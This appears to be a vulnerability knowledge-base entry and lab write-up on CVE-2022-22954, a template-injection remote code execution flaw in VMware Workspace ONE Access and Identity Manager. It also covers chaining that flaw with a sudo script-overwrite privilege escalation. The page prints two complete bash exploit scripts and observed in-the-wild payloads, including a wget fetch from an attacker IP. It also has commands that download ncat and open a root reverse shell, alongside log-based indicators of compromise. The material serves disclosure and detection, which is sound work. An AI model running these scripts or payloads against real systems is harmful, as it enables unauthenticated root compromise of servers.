Very High
CVE-2022-22954
CVE-2022-22954
Description
VMware Workspace ONE Access and Identity Manager contain a remote code execution vulnerability due to server-side template injection. A malicious actor with network access can trigger a server-side template injection that may result in remote code execution.
Add Assessment
Technical Analysis
With publicly available information, this was super trivial to exploit! In the Rapid7 analysis, I chained it together with what I thought was CVE-2022-22960 (I’m not sure it was anymore) to go from unauthenticated HTTPS access to root very easily.
CVSS V3 Severity and Metrics
General Information
Vendors
- vmware
Products
- cloud foundation,
- identity manager 3.3.3,
- identity manager 3.3.4,
- identity manager 3.3.5,
- identity manager 3.3.6,
- vrealize automation,
- vrealize automation 7.6,
- vrealize suite lifecycle manager,
- workspace one access 20.10.0.0,
- workspace one access 20.10.0.1,
- workspace one access 21.08.0.0,
- workspace one access 21.08.0.1
Metasploit Modules
Exploited in the Wild
References
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Technical Analysis
Description
On April 6, 2022, VMware published VMSA-2022-0011, which discloses multiple vulnerabilities discovered by Steven Seeley (mr_me) of Qihoo 360 Vulnerability Research Institute. The most critical of the CVEs published in VMSA-2022-0011 is CVE-2022-22954, which is a server-side template injection issue with a CVSSv3 base score of 9.8. The vulnerability allows an unauthenticated user with network access to the web interface to execute an arbitrary shell command as the VMware user.
To further exacerbate this issue, VMware also disclosed a local privilege escalation issue, CVE-2022-22960, which permits the attacker to gain root after exploiting CVE-2022-22954.
Products affected by CVE-2022-22954 include:
- VMware Workspace ONE Access (Access) 20.10.0.0 – 20.10.0.1, 21.08.0.0 – 21.08.0.1
- VMware Identity Manager (vIDM) 3.3.3 – 3.3.6
Active Exploitation
CVE-2022-22954 has been exploited in the wild according to multiple sources:
- VMware updated the advisory to indicate active exploitation on April 12, 2022
- Rapid7’s Project Heisenberg detected scanning/exploitation activity on April 13, 2022, and again on April 22, 2022
- Other Internet honeypots are seeing active exploitation attempts
- Cobalt Strike agents have been seen in the wild
Scanning/exploitation strings observed by Rapid7 include:
/catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/hosts")}
/catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("wget -U "Hello 1.0" -qO - http://106[.]246[.]224[.]219/one")}
Looking at historical data, it appears that the IP addresses involved in ongoing Internet attacks targeting CVE-2022-22954 have also been behind other mass Internet scanning and exploit attempts, such as during Log4Shell. That may mean that they are part of a botnet or other organized threat group.
Technical Analysis
CVE-2022-22954 is an unauthenticated server-side template injection issue. Exploit code is small enough to fit in a tweet, which security researcher wvu did on April 27! The following bash script is based on the public exploit:
#!/bin/bash set -euo pipefail die () { echo >&2 "$@" exit 1 } [ "$#" -eq 2 ] || die "Usage: $0 <target> <cmd>" # Encode the CMD as Base64 to avoid spaces ENCODED_CMD=$(echo "echo XYZ;$2;echo ZYX" | base64 -w0) # Build the argument string based on Will Vu's public PoC ARGS='deviceUdid=${"freemarker.template.utility.Execute"?new()("bash -c {eval,$({echo,'$(echo $ENCODED_CMD)'}|{base64,-d})}")}' # Get the curl response OUT=$(curl -sk https://$1/catalog-portal/ui/oauth/verify -H "Host: anything" -Gd error= --data-urlencode "$ARGS") # Pull out the command result echo $OUT | grep 'XYZ.*ZYX' | sed -re 's/.*XYZ\\n(.*)\\nZYX.*/\1/' -e 's/\\n/\n/g'
Using this script, we tested VMware Workspace ONE Access / Identity Manager v3.3.3.0 in our lab. The service runs as the horizon user:
$ bash ./exploit.sh 10.0.0.126 "whoami" horizon
To assess the potential impact, we checked what types of access privileges the horizon user has. It turns out, horizon has access to a bunch of sudo commands:
$ bash ./exploit.sh 10.0.0.126 "sudo -l" Matching Defaults entries for horizon on identity-manager-3-3: timestamp_timeout=0, passwd_tries=1 (root) NOPASSWD: /usr/local/horizon/scripts/horizonService.sh, /usr/local/horizon/scripts/postgresService.sh, /usr/local/horizon/scripts/enableRSyslog.hzn, /usr/local/horizon/scripts/enableProxy.hzn, /usr/local/horizon/scripts/gatherLogs.hzn, /usr/local/horizon/scripts/gatherConfig.hzn, /usr/local/horizon/scripts/getProtectedLogFiles.hzn, /usr/local/horizon/scripts/diagnostic/getPasswordExpiry.hzn, /usr/local/horizon/update/update.hzn --version, /usr/local/horizon/scripts/updateiptables.hzn -portupdateonly, /usr/local/horizon/scripts/publishCaCert.hzn, /usr/local/horizon/scripts/ntpServer.hzn, /usr/local/horizon/scripts/exportTenant.sh, /usr/local/horizon/scripts/horizon-init.sh, /usr/local/horizon/scripts/importTenant.sh, /usr/local/horizon/scripts/tenantInHostTokenUtil.sh, /usr/local/horizon/scripts/tenantInPathTokenUtil.sh, /usr/local/horizon/scripts/updateLocalUserPassword.sh, /usr/local/horizon/scripts/secureUsers.hzn, /usr/local/horizon/scripts/exportCustomGroupUsers.sh, /usr/local/horizon/scripts/extractUserIdFromDatabase.sh, /usr/local/horizon/scripts/domainJoinCheck.hzn, /usr/local/horizon/scripts/domainJoin.hzn, /usr/local/horizon/scripts/domainJoinPreview.hzn, /usr/local/horizon/scripts/mountHelper.hzn, /opt/vmware/certproxy/bin/certproxyService.sh
We checked the permissions of those scripts and, sure enough, several of them are writable, including:
$ bash ./exploit.sh 10.0.0.126 "ls -l /opt/vmware/certproxy/bin/certproxyService.sh" -rwxr-x--- 1 horizon www 938 Nov 1 2020 /opt/vmware/certproxy/bin/certproxyService.sh
Although we found this by accident, we’re pretty sure that it maps to the local privilege escalation vulnerability that VMware lists as CVE-2022-22960 in their advisory (although the original author later indicated that it wasn’t exactly the same).
To test this out, we overwrote one of the built-in scripts, then ran it with sudo:
$ bash ./exploit.sh 10.0.0.126 "echo 'whoami' > /opt/vmware/certproxy/bin/certproxyService.sh" [...] $ bash ./exploit.sh 10.0.0.126 "sudo /opt/vmware/certproxy/bin/certproxyService.sh" root
It works! So now we have unauthenticated root-level code execution. So of course, we made another script that combined both vulnerabilities into one simple package (it’s worth noting that this proof of concept overwrites a built-in script, so it probably breaks things. We would not recommend using this against random targets!):
#!/bin/bash set -euo pipefail die () { echo >&2 "$@" exit 1 } # Make the user opt into destructiveness for the PoC [ "$#" -eq 3 ] || die "Usage: $0 iknowthisisdestructive <target> <cmd>" DESTRUCTION=$1 HOST=$2 CMD=$3 if [ "$DESTRUCTION" != "iknowthisisdestructive" ]; then echo "You must opt into destructiveness!" echo die "Usage: $0 iknowthisisdestructive <target> <cmd>" fi # Encode a command to write to a target file # NOTE: This is destructive! ENCODED_CMD=$(echo "echo \"echo XYZ;$CMD;echo ZYX\" > /opt/vmware/certproxy/bin/certproxyService.sh" | base64 -w0) # Build the argument string based on Will Vu's public PoC ARGS='deviceUdid=${"freemarker.template.utility.Execute"?new()("bash -c {eval,$({echo,'$(echo $ENCODED_CMD)'}|{base64,-d})}")}' # Do the initial curl, discarding the result curl -sk https://$HOST/catalog-portal/ui/oauth/verify -H "Host: anything" -Gd error= --data-urlencode "$ARGS">/dev/null # Set up the sudo command ENCODED_CMD=$(echo "sudo /opt/vmware/certproxy/bin/certproxyService.sh" | base64 -w0) ARGS='deviceUdid=${"freemarker.template.utility.Execute"?new()("bash -c {eval,$({echo,'$(echo $ENCODED_CMD)'}|{base64,-d})}")}' OUT=$(curl -sk https://$HOST/catalog-portal/ui/oauth/verify -H "Host: anything" -Gd error= --data-urlencode "$ARGS") # Pull out the command result echo $OUT | grep 'XYZ.*ZYX' | sed -re 's/.*XYZ\\n(.*)\\nZYX.*/\1/' -e 's/\\n/\n/g'
The host uses tdnf as a package manager. The only version of Netcat available is the boring one – no -e support! So instead, we grabbed a static copy of ncat to upload and execute a reverse shell (periodic reminder to not use random binaries you find on GitHub outside of a lab):
$ bash ./sudo-exploit.sh iknowthisisdestructive 10.0.0.126 "curl https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/ncat > /tmp/ncat" [...] $ bash ./sudo-exploit.sh iknowthisisdestructive 10.0.0.126 "chmod +x /tmp/ncat" [...] $ bash ./sudo-exploit.sh iknowthisisdestructive 10.0.0.126 "/tmp/ncat -e /bin/bash 10.0.0.123 1234"
And at this point, we have a root shell:
$ nc -v -l -p 1234 Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234 Ncat: Connection from 10.0.0.126. Ncat: Connection from 10.0.0.126:6030. whoami root
IoCs
The logs on VMware Workspace ONE Access are stored in /opt/vmware/horizon/workspace/logs/greenbox_web.log. These contain all web requests, including the malicious requests that we send. We used Execute as a search keyword, and found that exploit attempts for CVE-2022-22954 stand out pretty clearly:
grep 'Execute' /opt/vmware/horizon/workspace/logs/greenbox_web.log | tail -n2 2022-05-02 15:28:11,102 INFO (Thread-5) [com.vmware.endusercatalog.ui.web.interceptors.UiRequestInterceptor.preHandle] <GreenBox> <correlation_id: > <tenant_id: anything> <client_ip: 10.0.0.123> <username: > <device_id: > - Received request with URI /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22bash+-c+%7Beval%2C%24%28%7Becho%2Cc3VkbyAvb3B0L3Ztd2FyZS9jZXJ0cHJveHkvYmluL2NlcnRwcm94eVNlcnZpY2Uuc2gK%7D%7C%7Bbase64%2C-d%7D%29%7D%22%29%7D [...] 2022-05-02 15:28:11,102 WARN (Thread-5) [com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver.resolveException] <GreenBox> <correlation_id: > <tenant_id: anything> <client_ip: 10.0.0.123> <username: > <device_id: > - RequestId dcb98442-12d9-4540-a510-65d033181fdf for request uri /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22bash+-c+%7Beval%2C%24%28%7Becho%2Cc3VkbyAvb3B0L3Ztd2FyZS9jZXJ0cHJveHkvYmluL2NlcnRwcm94eVNlcnZpY2Uuc2gK%7D%7C%7Bbase64%2C-d%7D%29%7D%22%29%7D returned in 0ms, it resulted with return code 400, mapped to error code auth.context.invalid and, error is: null
Other endpoints besides the one we tested are also vulnerable, so searching for the specific endpoint may miss exploit attempts.
To perform the privilege escalation outlined in CVE-2022-22960, one of several scripts must be modified. Any of the following scripts can be changed then run with sudo:
-rwxr-x--- 1 horizon www 57 May 2 15:44 /opt/vmware/certproxy/bin/certproxyService.sh -r-x------ 1 horizon www 889 Nov 1 2020 /usr/local/horizon/scripts/exportCustomGroupUsers.sh -r-x------ 1 horizon www 1331 Nov 1 2020 /usr/local/horizon/scripts/extractUserIdFromDatabase.sh
You can see certproxService.sh has been recently modified, since it is the one I chose to use as a demonstration.
References
- Canonical: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22954
- Vendor advisory: https://www.vmware.com/security/advisories/VMSA-2022-0011.html
- Researcher advisory: https://srcincite.io/advisories/src-2022-0005/
- FAQ: https://core.vmware.com/vmsa-2022-0011-questions-answers-faq
- Rapid7 blog: https://www.rapid7.com/blog/post/2022/04/29/widespread-exploitation-of-vmware-workspace-one-access-cve-2022-22954/
- Initial PoC: https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC
- Another PoC: https://github.com/sherlocksecurity/VMware-CVE-2022-22954
- wvu exploit: https://twitter.com/wvuuuuuuuuuuuuu/status/1519476924757778433
- msf module: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/vmware_workspace_one_access_cve_2022_22954.rb
